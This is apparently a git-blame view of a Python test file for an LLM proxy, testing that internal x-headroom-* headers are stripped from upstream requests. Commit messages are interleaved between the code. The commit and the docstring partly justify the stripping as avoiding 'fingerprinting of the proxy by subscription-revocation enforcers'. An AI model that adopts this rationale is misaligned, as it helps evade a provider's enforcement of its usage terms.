headroom/tests/test_header_isolation.py

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fix: A5 — strip x-headroom-* from upstream-bound headers (P5-49) Eliminate P5-49: every Python forwarder and the Rust transparent proxy now drop internal `x-headroom-*` request headers (`x-headroom-bypass`, `x-headroom-mode`, `x-headroom-user-id`, `x-headroom-stack`, `x-headroom-base-url`) before the upstream call. Stops fingerprinting of the proxy by subscription-revocation enforcers and prevents leakage of internal user-id / stack / base-url internals to whichever vendor terminates the request. Python: - `_strip_internal_headers(headers)` in `headroom/proxy/helpers.py` returns a NEW dict with `x-headroom-*` keys removed (case-insensitive prefix match, no regex). Pure function. Operator opt-in `HEADROOM_STRIP_INTERNAL_HEADERS=disabled` keeps internal headers in the upstream-bound dict for diagnostic shadow tracing — explicit, not a fallback. - Strip applied at every handler entry capture in `anthropic.py`, `openai.py`, `batch.py`, `gemini.py` (chat completions, responses, WebSocket handshake, Copilot passthrough, batch passthroughs, Gemini generate / stream / countTokens / cloudcode-assist, Anthropic passthrough + batch results). Inbound reads of x-headroom (bypass gating, memory user-id) migrated to `request.headers.get(...)` so they continue working off the original dict. - `log_outbound_headers` emits `event=outbound_headers forwarder=... stripped_count=N request_id=...` per call. Never logs header values. Rust (crates/headroom-proxy): - `strip_internal_headers(&mut HeaderMap)` and `is_internal_header` helpers in `src/headers.rs`. `build_forward_request_headers` accepts a `strip_internal: bool` so the same path serves HTTP and WebSocket. - `Config::strip_internal_headers: StripInternalHeaders` driven by CLI flag `--strip-internal-headers` and env var `HEADROOM_PROXY_STRIP_INTERNAL_HEADERS` (default `enabled`). - `proxy.rs` and `websocket.rs` call `build_forward_request_headers` with the resolved policy; structured `tracing::info!` / `tracing::warn!` line per request describes the strip decision. Tests: 24 Python (`tests/test_header_isolation.py`) + 4 Rust integration (`crates/headroom-proxy/tests/integration_headers.rs`) + 4 Rust unit tests in `headers.rs`. Covers every named header (`bypass`, `mode`, `user-id`, `stack`, `base-url`), case-insensitive prefix matching, legitimate-headers passthrough, the `disabled` operator-opt-in mode, and that the inbound bypass-gating read path is unaffected by the strip. Acceptance: targeted `pytest -x` suite green (87 tests across test_header_isolation, test_proxy_byte_faithful_forwarding, test_proxy_anthropic_cache_stability, test_proxy_system_prompt_immutable, test_proxy_openai_cache_stability, test_proxy_pipeline_lifecycle). `cargo test -p headroom-proxy` green (23 tests across all integrations plus 7 lib unit tests). `cargo clippy -p headroom-proxy -- -D warnings` clean. `cargo fmt --all -- --check` clean. `cargo test --workspace` green (~900 tests total). Per realignment build constraints: configurable (env + CLI), no hardcodes, no regex (pure `.lower().starts_with()` match), no silent fallbacks (`disabled` is loud operator opt-in), structured logs (`event=outbound_headers`). Remaining `x-headroom-` references in `headroom/proxy/handlers/` are inbound-read sites only: `request.headers.get("x-headroom-bypass")` / `x-headroom-mode` for behavior gating, `request.headers.get ("x-headroom-user-id")` for memory user-id resolution, and `ws_headers .get(...)` on the WebSocket inbound path. Response-side `X-Headroom-*` injection (e.g. `x-headroom-tokens-saved`) is unrelated to upstream forwarding and untouched.
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"""Header-isolation tests for PR-A5 (P5-49 fix).
`x-headroom-*` request headers are internal control flags consumed by the
proxy itself (bypass gating, mode selection, user-id, stack/base-url
fingerprints). Forwarding them upstream:
1. Fingerprints the proxy to subscription-revocation enforcers.
2. Leaks user-id / stack / base-url internals to whichever vendor
terminates the request.
PR-A5 wraps every handler-entry capture of the request headers with
`_strip_internal_headers`. Inbound read paths (`request.headers.get(...)`
for bypass gating, `_extract_tags` reading `x-headroom-*`) keep working
because they never depended on the local outbound-bound dict.
Operator opt-in `HEADROOM_STRIP_INTERNAL_HEADERS=disabled` keeps the
internal headers in the upstream-bound dict for diagnostic shadow tracing.
That mode is loud and explicit per realignment build constraint #4 — NOT
a silent fallback.
"""
from __future__ import annotations
from types import SimpleNamespace
from unittest.mock import AsyncMock
import httpx
import pytest
pytest.importorskip("fastapi")
from fastapi.testclient import TestClient
from headroom.proxy.helpers import (
_strip_internal_headers,
get_strip_internal_headers_mode,
fix(proxy): dedupe Codex WS request logging for accurate mixed-provider dashboards (#2189) ## Description Running Claude Code (Anthropic) and Codex (OpenAI) against the **same** Headroom proxy instance on one port produced incorrect, unstable dashboard data. The proxy core is provider-isolated and multi-provider-safe by design; the defect was in the observability layer. The Codex `/v1/responses` **WebSocket** handler was the only path in the proxy that wrote to the request logger by hand instead of through the unified `emit_request_outcome` funnel, and it did so twice per session close: the per-turn funnel record plus an unconditional cumulative session-summary `RequestLog`. This PR removes the duplicate summary log so Codex WS emits exactly one request log per turn, matching the HTTP provider paths. ## Type of Change - [x] Bug fix (non-breaking change that fixes an issue) - [ ] New feature (non-breaking change that adds functionality) - [ ] Breaking change (fix or feature that would cause existing functionality to change) - [ ] Documentation update - [ ] Performance improvement - [ ] Code refactoring (no functional changes) ## Changes Made - Dropped the duplicate cumulative session-summary `RequestLog` in the Codex WS handler while preserving the per-turn `emit_request_outcome` path. - Preserved gated `request_messages` and `turn_id` on residual outcomes so dashboard telemetry keeps the useful attribution without double-counting tokens. - Ensured explicit `--anyllm-provider` wins over a leaked `HEADROOM_ANYLLM_PROVIDER` environment variable. - Registered retry delay settings that had drifted out of the settings registry. - Hardened tests against developer-shell `HEADROOM_*` / `ANTHROPIC_CUSTOM_HEADERS` leakage and stabilized several focused proxy/wrap test fixtures. ## Testing - [x] Unit tests pass (`pytest`) - [x] Linting passes (`ruff check .`) - [ ] Type checking passes (`mypy headroom`) - [x] New tests added for new functionality - [x] Manual testing performed ### Test Output ```text $ .venv/bin/pytest tests/ -q -p no:cacheprovider 8529 passed, 537 skipped, 5831 warnings in 276.25s (0:04:36) $ .venv/bin/ruff check <touched files> All checks passed! ``` ## Real Behavior Proof - Environment: macOS (Darwin 25.4.0), Python 3.13.14, pytest 9.0.3, ruff via project venv, branch `fix/multi-provider-runtime`. - Exact command / steps: Ran the full test suite without pytest cache provider and Ruff on all touched files; used `git stash` to confirm the stale fake-config failures pre-existed this change. - Observed result: Full suite passed with no failures; Ruff passed; Codex WS now routes end-of-session logging through `emit_request_outcome`, emitting one request log per turn with the same accounting model as Anthropic HTTP turns. - Not tested: Live simultaneous Claude + Codex dashboard run. `mypy headroom` was not run to completion; a scoped run reported one pre-existing `settings_store.py:470` coercion error outside this diff. ## Review Readiness - [x] I have performed a self-review - [x] This PR is ready for human review ## Checklist - [x] My code follows the project's style guidelines - [x] I have performed a self-review of my code - [x] I have commented my code, particularly in hard-to-understand areas - [ ] I have made corresponding changes to the documentation - [x] My changes generate no new warnings - [x] I have added tests that prove my fix is effective or that my feature works - [x] New and existing unit tests pass locally with my changes - [ ] I have updated the CHANGELOG.md if applicable ## Screenshots (if applicable) N/A - server-side observability fix; no UI markup changed. ## Additional Notes - The proxy's multi-provider routing, header/auth isolation, and per-model cache keying are already correct and unchanged here; only the WS observability write path was double-counting. - Architectural assessment: `plans/reports/research-260714-0004-multi-provider-upstream-compression-report.md`; root-cause + resolution trail: `plans/reports/debug-assessment-260714-0011-dashboard-instability-mixed-claude-codex-report.md`. - No live simultaneous Claude + Codex dashboard run was performed; validation is from test coverage and code review of the WS logging path. --------- Co-authored-by: JerrettDavis <mxjerrett@gmail.com>
2026-07-16 01:18:34 +07:00
merge_extra_headers,
fix: A5 — strip x-headroom-* from upstream-bound headers (P5-49) Eliminate P5-49: every Python forwarder and the Rust transparent proxy now drop internal `x-headroom-*` request headers (`x-headroom-bypass`, `x-headroom-mode`, `x-headroom-user-id`, `x-headroom-stack`, `x-headroom-base-url`) before the upstream call. Stops fingerprinting of the proxy by subscription-revocation enforcers and prevents leakage of internal user-id / stack / base-url internals to whichever vendor terminates the request. Python: - `_strip_internal_headers(headers)` in `headroom/proxy/helpers.py` returns a NEW dict with `x-headroom-*` keys removed (case-insensitive prefix match, no regex). Pure function. Operator opt-in `HEADROOM_STRIP_INTERNAL_HEADERS=disabled` keeps internal headers in the upstream-bound dict for diagnostic shadow tracing — explicit, not a fallback. - Strip applied at every handler entry capture in `anthropic.py`, `openai.py`, `batch.py`, `gemini.py` (chat completions, responses, WebSocket handshake, Copilot passthrough, batch passthroughs, Gemini generate / stream / countTokens / cloudcode-assist, Anthropic passthrough + batch results). Inbound reads of x-headroom (bypass gating, memory user-id) migrated to `request.headers.get(...)` so they continue working off the original dict. - `log_outbound_headers` emits `event=outbound_headers forwarder=... stripped_count=N request_id=...` per call. Never logs header values. Rust (crates/headroom-proxy): - `strip_internal_headers(&mut HeaderMap)` and `is_internal_header` helpers in `src/headers.rs`. `build_forward_request_headers` accepts a `strip_internal: bool` so the same path serves HTTP and WebSocket. - `Config::strip_internal_headers: StripInternalHeaders` driven by CLI flag `--strip-internal-headers` and env var `HEADROOM_PROXY_STRIP_INTERNAL_HEADERS` (default `enabled`). - `proxy.rs` and `websocket.rs` call `build_forward_request_headers` with the resolved policy; structured `tracing::info!` / `tracing::warn!` line per request describes the strip decision. Tests: 24 Python (`tests/test_header_isolation.py`) + 4 Rust integration (`crates/headroom-proxy/tests/integration_headers.rs`) + 4 Rust unit tests in `headers.rs`. Covers every named header (`bypass`, `mode`, `user-id`, `stack`, `base-url`), case-insensitive prefix matching, legitimate-headers passthrough, the `disabled` operator-opt-in mode, and that the inbound bypass-gating read path is unaffected by the strip. Acceptance: targeted `pytest -x` suite green (87 tests across test_header_isolation, test_proxy_byte_faithful_forwarding, test_proxy_anthropic_cache_stability, test_proxy_system_prompt_immutable, test_proxy_openai_cache_stability, test_proxy_pipeline_lifecycle). `cargo test -p headroom-proxy` green (23 tests across all integrations plus 7 lib unit tests). `cargo clippy -p headroom-proxy -- -D warnings` clean. `cargo fmt --all -- --check` clean. `cargo test --workspace` green (~900 tests total). Per realignment build constraints: configurable (env + CLI), no hardcodes, no regex (pure `.lower().starts_with()` match), no silent fallbacks (`disabled` is loud operator opt-in), structured logs (`event=outbound_headers`). Remaining `x-headroom-` references in `headroom/proxy/handlers/` are inbound-read sites only: `request.headers.get("x-headroom-bypass")` / `x-headroom-mode` for behavior gating, `request.headers.get ("x-headroom-user-id")` for memory user-id resolution, and `ws_headers .get(...)` on the WebSocket inbound path. Response-side `X-Headroom-*` injection (e.g. `x-headroom-tokens-saved`) is unrelated to upstream forwarding and untouched.
2026-05-02 09:35:27 -07:00
)
from headroom.proxy.server import ProxyConfig, create_app
@pytest.fixture(autouse=True)
def _allow_reserved_test_upstream(monkeypatch: pytest.MonkeyPatch) -> None:
"""Permit the reserved override used by the end-to-end isolation test."""
monkeypatch.setenv("HEADROOM_ALLOWED_BASE_URLS", "override.example")
fix: A5 — strip x-headroom-* from upstream-bound headers (P5-49) Eliminate P5-49: every Python forwarder and the Rust transparent proxy now drop internal `x-headroom-*` request headers (`x-headroom-bypass`, `x-headroom-mode`, `x-headroom-user-id`, `x-headroom-stack`, `x-headroom-base-url`) before the upstream call. Stops fingerprinting of the proxy by subscription-revocation enforcers and prevents leakage of internal user-id / stack / base-url internals to whichever vendor terminates the request. Python: - `_strip_internal_headers(headers)` in `headroom/proxy/helpers.py` returns a NEW dict with `x-headroom-*` keys removed (case-insensitive prefix match, no regex). Pure function. Operator opt-in `HEADROOM_STRIP_INTERNAL_HEADERS=disabled` keeps internal headers in the upstream-bound dict for diagnostic shadow tracing — explicit, not a fallback. - Strip applied at every handler entry capture in `anthropic.py`, `openai.py`, `batch.py`, `gemini.py` (chat completions, responses, WebSocket handshake, Copilot passthrough, batch passthroughs, Gemini generate / stream / countTokens / cloudcode-assist, Anthropic passthrough + batch results). Inbound reads of x-headroom (bypass gating, memory user-id) migrated to `request.headers.get(...)` so they continue working off the original dict. - `log_outbound_headers` emits `event=outbound_headers forwarder=... stripped_count=N request_id=...` per call. Never logs header values. Rust (crates/headroom-proxy): - `strip_internal_headers(&mut HeaderMap)` and `is_internal_header` helpers in `src/headers.rs`. `build_forward_request_headers` accepts a `strip_internal: bool` so the same path serves HTTP and WebSocket. - `Config::strip_internal_headers: StripInternalHeaders` driven by CLI flag `--strip-internal-headers` and env var `HEADROOM_PROXY_STRIP_INTERNAL_HEADERS` (default `enabled`). - `proxy.rs` and `websocket.rs` call `build_forward_request_headers` with the resolved policy; structured `tracing::info!` / `tracing::warn!` line per request describes the strip decision. Tests: 24 Python (`tests/test_header_isolation.py`) + 4 Rust integration (`crates/headroom-proxy/tests/integration_headers.rs`) + 4 Rust unit tests in `headers.rs`. Covers every named header (`bypass`, `mode`, `user-id`, `stack`, `base-url`), case-insensitive prefix matching, legitimate-headers passthrough, the `disabled` operator-opt-in mode, and that the inbound bypass-gating read path is unaffected by the strip. Acceptance: targeted `pytest -x` suite green (87 tests across test_header_isolation, test_proxy_byte_faithful_forwarding, test_proxy_anthropic_cache_stability, test_proxy_system_prompt_immutable, test_proxy_openai_cache_stability, test_proxy_pipeline_lifecycle). `cargo test -p headroom-proxy` green (23 tests across all integrations plus 7 lib unit tests). `cargo clippy -p headroom-proxy -- -D warnings` clean. `cargo fmt --all -- --check` clean. `cargo test --workspace` green (~900 tests total). Per realignment build constraints: configurable (env + CLI), no hardcodes, no regex (pure `.lower().starts_with()` match), no silent fallbacks (`disabled` is loud operator opt-in), structured logs (`event=outbound_headers`). Remaining `x-headroom-` references in `headroom/proxy/handlers/` are inbound-read sites only: `request.headers.get("x-headroom-bypass")` / `x-headroom-mode` for behavior gating, `request.headers.get ("x-headroom-user-id")` for memory user-id resolution, and `ws_headers .get(...)` on the WebSocket inbound path. Response-side `X-Headroom-*` injection (e.g. `x-headroom-tokens-saved`) is unrelated to upstream forwarding and untouched.
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# ---------------------------------------------------------------------------
# Pure helper unit tests
# ---------------------------------------------------------------------------
def test_strip_returns_new_dict_does_not_mutate_caller() -> None:
"""`_strip_internal_headers` is pure — caller's dict is untouched."""
original = {
"authorization": "Bearer x",
"x-headroom-bypass": "true",
}
out = _strip_internal_headers(original)
assert out is not original
assert "x-headroom-bypass" in original
assert "x-headroom-bypass" not in out
assert out["authorization"] == "Bearer x"
def test_strip_x_headroom_bypass_removed() -> None:
out = _strip_internal_headers({"x-headroom-bypass": "true", "k": "v"})
assert "x-headroom-bypass" not in out
assert out["k"] == "v"
def test_strip_x_headroom_mode_removed() -> None:
out = _strip_internal_headers({"x-headroom-mode": "passthrough", "k": "v"})
assert "x-headroom-mode" not in out
assert out["k"] == "v"
def test_strip_x_headroom_user_id_removed() -> None:
out = _strip_internal_headers({"x-headroom-user-id": "u1", "k": "v"})
assert "x-headroom-user-id" not in out
assert out["k"] == "v"
def test_strip_x_headroom_stack_removed() -> None:
out = _strip_internal_headers({"x-headroom-stack": "engineer", "k": "v"})
assert "x-headroom-stack" not in out
assert out["k"] == "v"
def test_strip_x_headroom_base_url_removed() -> None:
out = _strip_internal_headers({"x-headroom-base-url": "http://x", "k": "v"})
assert "x-headroom-base-url" not in out
assert out["k"] == "v"
def test_strip_case_insensitive_prefix_match() -> None:
"""Mixed-case `X-Headroom-Foo`, `x-Headroom-Bar`, `X-HEADROOM-BAZ` all stripped."""
out = _strip_internal_headers(
{
"X-Headroom-Foo": "1",
"x-Headroom-Bar": "2",
"X-HEADROOM-BAZ": "3",
"Authorization": "Bearer x",
}
)
assert "X-Headroom-Foo" not in out
assert "x-Headroom-Bar" not in out
assert "X-HEADROOM-BAZ" not in out
assert out["Authorization"] == "Bearer x"
def test_strip_legitimate_headers_passthrough() -> None:
"""Headers without the internal prefix must NOT be stripped."""
out = _strip_internal_headers(
{
"Authorization": "Bearer x",
"x-api-key": "k",
"x-request-id": "rid-1",
"x-trace-id": "tid-1",
"Content-Type": "application/json",
"anthropic-version": "2023-06-01",
"User-Agent": "claude-code/1.0",
}
)
assert out["Authorization"] == "Bearer x"
assert out["x-api-key"] == "k"
assert out["x-request-id"] == "rid-1"
assert out["x-trace-id"] == "tid-1"
assert out["Content-Type"] == "application/json"
assert out["anthropic-version"] == "2023-06-01"
assert out["User-Agent"] == "claude-code/1.0"
def test_strip_disabled_mode_passes_internal_headers_through(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""`HEADROOM_STRIP_INTERNAL_HEADERS=disabled` is operator opt-in for diag."""
monkeypatch.setenv("HEADROOM_STRIP_INTERNAL_HEADERS", "disabled")
out = _strip_internal_headers({"x-headroom-bypass": "true", "authorization": "Bearer x"})
assert out["x-headroom-bypass"] == "true"
assert out["authorization"] == "Bearer x"
def test_strip_disabled_mode_returns_copy_not_alias(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""Even in disabled mode the helper returns a NEW dict, never an alias."""
monkeypatch.setenv("HEADROOM_STRIP_INTERNAL_HEADERS", "disabled")
src = {"x-headroom-bypass": "true"}
out = _strip_internal_headers(src)
assert out is not src
def test_strip_mode_default_is_enabled(monkeypatch: pytest.MonkeyPatch) -> None:
monkeypatch.delenv("HEADROOM_STRIP_INTERNAL_HEADERS", raising=False)
assert get_strip_internal_headers_mode() == "enabled"
def test_strip_mode_invalid_raises(monkeypatch: pytest.MonkeyPatch) -> None:
monkeypatch.setenv("HEADROOM_STRIP_INTERNAL_HEADERS", "garbage")
with pytest.raises(ValueError, match="HEADROOM_STRIP_INTERNAL_HEADERS"):
get_strip_internal_headers_mode()
def test_strip_empty_dict_returns_empty_dict() -> None:
assert _strip_internal_headers({}) == {}
def test_strip_preserves_value_semantics() -> None:
"""Values are forwarded unchanged for kept headers."""
out = _strip_internal_headers(
{
"Authorization": "Bearer sk-ant-...",
"anthropic-version": "2023-06-01",
}
)
assert out["Authorization"] == "Bearer sk-ant-..."
assert out["anthropic-version"] == "2023-06-01"
# ---------------------------------------------------------------------------
# End-to-end: x-headroom-* never reaches the upstream
# ---------------------------------------------------------------------------
class _CapturingTransport(httpx.AsyncBaseTransport):
def __init__(self) -> None:
self.captured_headers: dict[str, str] | None = None
self.captured_body: bytes | None = None
async def handle_async_request(self, request: httpx.Request) -> httpx.Response:
body = b""
async for chunk in request.stream:
body += chunk
self.captured_body = body
self.captured_headers = dict(request.headers.items())
return httpx.Response(
200,
json={
"id": "msg_1",
"type": "message",
"role": "assistant",
"content": [{"type": "text", "text": "ok"}],
"usage": {
"input_tokens": 10,
"output_tokens": 3,
"cache_read_input_tokens": 0,
"cache_creation_input_tokens": 0,
},
},
)
class _FakePrefixTracker:
def __init__(self, frozen_count: int = 0):
self._frozen_count = frozen_count
self._cached_token_count = 0
self._last_original_messages: list = []
self._last_forwarded_messages: list = []
def get_frozen_message_count(self) -> int:
return self._frozen_count
def get_last_original_messages(self): # noqa: ANN201
return list(self._last_original_messages)
def get_last_forwarded_messages(self): # noqa: ANN201
return list(self._last_forwarded_messages)
def update_from_response(self, **kwargs): # noqa: ANN003
self._last_original_messages = kwargs.get("original_messages", kwargs.get("messages", []))
self._last_forwarded_messages = kwargs.get("messages", [])
return None
fix(proxy): dedupe Codex WS request logging for accurate mixed-provider dashboards (#2189) ## Description Running Claude Code (Anthropic) and Codex (OpenAI) against the **same** Headroom proxy instance on one port produced incorrect, unstable dashboard data. The proxy core is provider-isolated and multi-provider-safe by design; the defect was in the observability layer. The Codex `/v1/responses` **WebSocket** handler was the only path in the proxy that wrote to the request logger by hand instead of through the unified `emit_request_outcome` funnel, and it did so twice per session close: the per-turn funnel record plus an unconditional cumulative session-summary `RequestLog`. This PR removes the duplicate summary log so Codex WS emits exactly one request log per turn, matching the HTTP provider paths. ## Type of Change - [x] Bug fix (non-breaking change that fixes an issue) - [ ] New feature (non-breaking change that adds functionality) - [ ] Breaking change (fix or feature that would cause existing functionality to change) - [ ] Documentation update - [ ] Performance improvement - [ ] Code refactoring (no functional changes) ## Changes Made - Dropped the duplicate cumulative session-summary `RequestLog` in the Codex WS handler while preserving the per-turn `emit_request_outcome` path. - Preserved gated `request_messages` and `turn_id` on residual outcomes so dashboard telemetry keeps the useful attribution without double-counting tokens. - Ensured explicit `--anyllm-provider` wins over a leaked `HEADROOM_ANYLLM_PROVIDER` environment variable. - Registered retry delay settings that had drifted out of the settings registry. - Hardened tests against developer-shell `HEADROOM_*` / `ANTHROPIC_CUSTOM_HEADERS` leakage and stabilized several focused proxy/wrap test fixtures. ## Testing - [x] Unit tests pass (`pytest`) - [x] Linting passes (`ruff check .`) - [ ] Type checking passes (`mypy headroom`) - [x] New tests added for new functionality - [x] Manual testing performed ### Test Output ```text $ .venv/bin/pytest tests/ -q -p no:cacheprovider 8529 passed, 537 skipped, 5831 warnings in 276.25s (0:04:36) $ .venv/bin/ruff check <touched files> All checks passed! ``` ## Real Behavior Proof - Environment: macOS (Darwin 25.4.0), Python 3.13.14, pytest 9.0.3, ruff via project venv, branch `fix/multi-provider-runtime`. - Exact command / steps: Ran the full test suite without pytest cache provider and Ruff on all touched files; used `git stash` to confirm the stale fake-config failures pre-existed this change. - Observed result: Full suite passed with no failures; Ruff passed; Codex WS now routes end-of-session logging through `emit_request_outcome`, emitting one request log per turn with the same accounting model as Anthropic HTTP turns. - Not tested: Live simultaneous Claude + Codex dashboard run. `mypy headroom` was not run to completion; a scoped run reported one pre-existing `settings_store.py:470` coercion error outside this diff. ## Review Readiness - [x] I have performed a self-review - [x] This PR is ready for human review ## Checklist - [x] My code follows the project's style guidelines - [x] I have performed a self-review of my code - [x] I have commented my code, particularly in hard-to-understand areas - [ ] I have made corresponding changes to the documentation - [x] My changes generate no new warnings - [x] I have added tests that prove my fix is effective or that my feature works - [x] New and existing unit tests pass locally with my changes - [ ] I have updated the CHANGELOG.md if applicable ## Screenshots (if applicable) N/A - server-side observability fix; no UI markup changed. ## Additional Notes - The proxy's multi-provider routing, header/auth isolation, and per-model cache keying are already correct and unchanged here; only the WS observability write path was double-counting. - Architectural assessment: `plans/reports/research-260714-0004-multi-provider-upstream-compression-report.md`; root-cause + resolution trail: `plans/reports/debug-assessment-260714-0011-dashboard-instability-mixed-claude-codex-report.md`. - No live simultaneous Claude + Codex dashboard run was performed; validation is from test coverage and code review of the WS logging path. --------- Co-authored-by: JerrettDavis <mxjerrett@gmail.com>
2026-07-16 01:18:34 +07:00
def _make_anthropic_app(**config_overrides) -> tuple[TestClient, _CapturingTransport]:
fix: A5 — strip x-headroom-* from upstream-bound headers (P5-49) Eliminate P5-49: every Python forwarder and the Rust transparent proxy now drop internal `x-headroom-*` request headers (`x-headroom-bypass`, `x-headroom-mode`, `x-headroom-user-id`, `x-headroom-stack`, `x-headroom-base-url`) before the upstream call. Stops fingerprinting of the proxy by subscription-revocation enforcers and prevents leakage of internal user-id / stack / base-url internals to whichever vendor terminates the request. Python: - `_strip_internal_headers(headers)` in `headroom/proxy/helpers.py` returns a NEW dict with `x-headroom-*` keys removed (case-insensitive prefix match, no regex). Pure function. Operator opt-in `HEADROOM_STRIP_INTERNAL_HEADERS=disabled` keeps internal headers in the upstream-bound dict for diagnostic shadow tracing — explicit, not a fallback. - Strip applied at every handler entry capture in `anthropic.py`, `openai.py`, `batch.py`, `gemini.py` (chat completions, responses, WebSocket handshake, Copilot passthrough, batch passthroughs, Gemini generate / stream / countTokens / cloudcode-assist, Anthropic passthrough + batch results). Inbound reads of x-headroom (bypass gating, memory user-id) migrated to `request.headers.get(...)` so they continue working off the original dict. - `log_outbound_headers` emits `event=outbound_headers forwarder=... stripped_count=N request_id=...` per call. Never logs header values. Rust (crates/headroom-proxy): - `strip_internal_headers(&mut HeaderMap)` and `is_internal_header` helpers in `src/headers.rs`. `build_forward_request_headers` accepts a `strip_internal: bool` so the same path serves HTTP and WebSocket. - `Config::strip_internal_headers: StripInternalHeaders` driven by CLI flag `--strip-internal-headers` and env var `HEADROOM_PROXY_STRIP_INTERNAL_HEADERS` (default `enabled`). - `proxy.rs` and `websocket.rs` call `build_forward_request_headers` with the resolved policy; structured `tracing::info!` / `tracing::warn!` line per request describes the strip decision. Tests: 24 Python (`tests/test_header_isolation.py`) + 4 Rust integration (`crates/headroom-proxy/tests/integration_headers.rs`) + 4 Rust unit tests in `headers.rs`. Covers every named header (`bypass`, `mode`, `user-id`, `stack`, `base-url`), case-insensitive prefix matching, legitimate-headers passthrough, the `disabled` operator-opt-in mode, and that the inbound bypass-gating read path is unaffected by the strip. Acceptance: targeted `pytest -x` suite green (87 tests across test_header_isolation, test_proxy_byte_faithful_forwarding, test_proxy_anthropic_cache_stability, test_proxy_system_prompt_immutable, test_proxy_openai_cache_stability, test_proxy_pipeline_lifecycle). `cargo test -p headroom-proxy` green (23 tests across all integrations plus 7 lib unit tests). `cargo clippy -p headroom-proxy -- -D warnings` clean. `cargo fmt --all -- --check` clean. `cargo test --workspace` green (~900 tests total). Per realignment build constraints: configurable (env + CLI), no hardcodes, no regex (pure `.lower().starts_with()` match), no silent fallbacks (`disabled` is loud operator opt-in), structured logs (`event=outbound_headers`). Remaining `x-headroom-` references in `headroom/proxy/handlers/` are inbound-read sites only: `request.headers.get("x-headroom-bypass")` / `x-headroom-mode` for behavior gating, `request.headers.get ("x-headroom-user-id")` for memory user-id resolution, and `ws_headers .get(...)` on the WebSocket inbound path. Response-side `X-Headroom-*` injection (e.g. `x-headroom-tokens-saved`) is unrelated to upstream forwarding and untouched.
2026-05-02 09:35:27 -07:00
config = ProxyConfig(
optimize=False,
cache_enabled=False,
rate_limit_enabled=False,
cost_tracking_enabled=False,
log_requests=False,
ccr_inject_tool=False,
ccr_handle_responses=False,
ccr_context_tracking=False,
image_optimize=False,
fix(proxy): dedupe Codex WS request logging for accurate mixed-provider dashboards (#2189) ## Description Running Claude Code (Anthropic) and Codex (OpenAI) against the **same** Headroom proxy instance on one port produced incorrect, unstable dashboard data. The proxy core is provider-isolated and multi-provider-safe by design; the defect was in the observability layer. The Codex `/v1/responses` **WebSocket** handler was the only path in the proxy that wrote to the request logger by hand instead of through the unified `emit_request_outcome` funnel, and it did so twice per session close: the per-turn funnel record plus an unconditional cumulative session-summary `RequestLog`. This PR removes the duplicate summary log so Codex WS emits exactly one request log per turn, matching the HTTP provider paths. ## Type of Change - [x] Bug fix (non-breaking change that fixes an issue) - [ ] New feature (non-breaking change that adds functionality) - [ ] Breaking change (fix or feature that would cause existing functionality to change) - [ ] Documentation update - [ ] Performance improvement - [ ] Code refactoring (no functional changes) ## Changes Made - Dropped the duplicate cumulative session-summary `RequestLog` in the Codex WS handler while preserving the per-turn `emit_request_outcome` path. - Preserved gated `request_messages` and `turn_id` on residual outcomes so dashboard telemetry keeps the useful attribution without double-counting tokens. - Ensured explicit `--anyllm-provider` wins over a leaked `HEADROOM_ANYLLM_PROVIDER` environment variable. - Registered retry delay settings that had drifted out of the settings registry. - Hardened tests against developer-shell `HEADROOM_*` / `ANTHROPIC_CUSTOM_HEADERS` leakage and stabilized several focused proxy/wrap test fixtures. ## Testing - [x] Unit tests pass (`pytest`) - [x] Linting passes (`ruff check .`) - [ ] Type checking passes (`mypy headroom`) - [x] New tests added for new functionality - [x] Manual testing performed ### Test Output ```text $ .venv/bin/pytest tests/ -q -p no:cacheprovider 8529 passed, 537 skipped, 5831 warnings in 276.25s (0:04:36) $ .venv/bin/ruff check <touched files> All checks passed! ``` ## Real Behavior Proof - Environment: macOS (Darwin 25.4.0), Python 3.13.14, pytest 9.0.3, ruff via project venv, branch `fix/multi-provider-runtime`. - Exact command / steps: Ran the full test suite without pytest cache provider and Ruff on all touched files; used `git stash` to confirm the stale fake-config failures pre-existed this change. - Observed result: Full suite passed with no failures; Ruff passed; Codex WS now routes end-of-session logging through `emit_request_outcome`, emitting one request log per turn with the same accounting model as Anthropic HTTP turns. - Not tested: Live simultaneous Claude + Codex dashboard run. `mypy headroom` was not run to completion; a scoped run reported one pre-existing `settings_store.py:470` coercion error outside this diff. ## Review Readiness - [x] I have performed a self-review - [x] This PR is ready for human review ## Checklist - [x] My code follows the project's style guidelines - [x] I have performed a self-review of my code - [x] I have commented my code, particularly in hard-to-understand areas - [ ] I have made corresponding changes to the documentation - [x] My changes generate no new warnings - [x] I have added tests that prove my fix is effective or that my feature works - [x] New and existing unit tests pass locally with my changes - [ ] I have updated the CHANGELOG.md if applicable ## Screenshots (if applicable) N/A - server-side observability fix; no UI markup changed. ## Additional Notes - The proxy's multi-provider routing, header/auth isolation, and per-model cache keying are already correct and unchanged here; only the WS observability write path was double-counting. - Architectural assessment: `plans/reports/research-260714-0004-multi-provider-upstream-compression-report.md`; root-cause + resolution trail: `plans/reports/debug-assessment-260714-0011-dashboard-instability-mixed-claude-codex-report.md`. - No live simultaneous Claude + Codex dashboard run was performed; validation is from test coverage and code review of the WS logging path. --------- Co-authored-by: JerrettDavis <mxjerrett@gmail.com>
2026-07-16 01:18:34 +07:00
**config_overrides,
fix: A5 — strip x-headroom-* from upstream-bound headers (P5-49) Eliminate P5-49: every Python forwarder and the Rust transparent proxy now drop internal `x-headroom-*` request headers (`x-headroom-bypass`, `x-headroom-mode`, `x-headroom-user-id`, `x-headroom-stack`, `x-headroom-base-url`) before the upstream call. Stops fingerprinting of the proxy by subscription-revocation enforcers and prevents leakage of internal user-id / stack / base-url internals to whichever vendor terminates the request. Python: - `_strip_internal_headers(headers)` in `headroom/proxy/helpers.py` returns a NEW dict with `x-headroom-*` keys removed (case-insensitive prefix match, no regex). Pure function. Operator opt-in `HEADROOM_STRIP_INTERNAL_HEADERS=disabled` keeps internal headers in the upstream-bound dict for diagnostic shadow tracing — explicit, not a fallback. - Strip applied at every handler entry capture in `anthropic.py`, `openai.py`, `batch.py`, `gemini.py` (chat completions, responses, WebSocket handshake, Copilot passthrough, batch passthroughs, Gemini generate / stream / countTokens / cloudcode-assist, Anthropic passthrough + batch results). Inbound reads of x-headroom (bypass gating, memory user-id) migrated to `request.headers.get(...)` so they continue working off the original dict. - `log_outbound_headers` emits `event=outbound_headers forwarder=... stripped_count=N request_id=...` per call. Never logs header values. Rust (crates/headroom-proxy): - `strip_internal_headers(&mut HeaderMap)` and `is_internal_header` helpers in `src/headers.rs`. `build_forward_request_headers` accepts a 